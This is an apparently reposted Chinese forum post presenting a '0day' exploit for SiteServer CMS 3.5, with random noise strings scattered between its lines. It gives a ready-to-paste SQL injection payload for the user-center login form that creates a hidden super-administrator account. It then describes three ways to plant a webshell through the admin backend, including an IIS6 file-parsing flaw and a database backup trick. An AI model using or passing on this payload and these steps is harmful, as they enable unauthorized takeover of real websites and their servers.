SiteServer CMS 0Day

admin

经测试秒杀最新的3.5版
/ X% U/ {- t" k9 }$ @7 D
! n: M" F6 B1 j2 qstieserver官网:www.siteserver.cn
/ B$ I7 m) f4 I5 w8 N& E! _

6 g: b5 p9 v9 H& d" V8 r% C
EXP:
  J7 F& p7 ^) K3 z7 @0 P' C* S+ v
直接访问UserCenter/login.aspx
: U- f1 |/ K3 V/ T" y
% k( N5 G7 u8 R9 @  J) t
+ ]* v5 R" [4 H  C. E
用户名处输入：
9 _" ~& c8 m9 W% c
123'insert into bairong_Administrator([UserName],[Password],[PasswordFormat],[PasswordSalt]) values('blue','VffSUZcBPo4=','Encrypted','i7jq4LwC25wKDoqHErBWaw==');insert into bairong_AdministratorsInRoles values('Administrator','blue');insert into bairong_AdministratorsInRoles values('RegisteredUser','blue');insert into bairong_AdministratorsInRoles values('ConsoleAdministrator','blue');--

" Y5 S. |7 [* O5 p. w0 a: {

0 x* e6 R& e8 S. @; h, T; D6 B密码为空，输入验证码后提交，既可向数据库中插入一个用户名为blue  密码为lanhai的超级用户。
+ o5 C" c& [; `3 Q7 m; j, f


+ I  w# I( V' X  c& _) H  Y& @% U之后再访问后台SiteServer/login.aspx用插入的用户登陆
5 H- ?( J3 [" o1 |6 J: F
. \) b1 b: |; R' t) M2 T7 l
2 U0 _2 F' n0 \9 `* R
后台拿webshell的三种方法：

一、

站点管理-》显示功能-》模板管理-》添加单页模板-》直接生成aspx
. f/ l3 U! F8 c, |; E" K
' B8 ^- U/ p5 y/ f7 w! Z二、

7 y0 U9 E+ X1 ~9 d, t0 q' z' t成员权限-》添加用户-》用户名为：1.asp

; t/ H. a5 ]- ?0 n5 x7 _: |3 W# Thttp://127.0.0.1/usercenter/
! D5 l2 R' m5 d  m( E
用刚才添加的1.asp去登陆，进去之后上传个人头像，利用IIS6解析漏洞得webshell
8 Z# x* v# b! Y3 R& l; d
（ps：后台添加用户时不会验证是否含有非法字符）

. [4 t. K+ H- i8 c" h9 J( |三、
" ?4 b: Z# J4 {. b$ y
系统工具-》实用工具-》机器参数查看
# ^% d% k+ J+ @* \2 I可以看到数据库类型、名称，WEB路径

; r5 l+ o2 X0 W9 P- O8 I系统工具-》数据库工具-》SQL语句查询
. Y8 M* B( `% I) o# M这功能做的不错，直接就相当于一个查询分析器，什么回显都有，可以backup得webshell，或者利用sqlserver配置不当直接XXOO。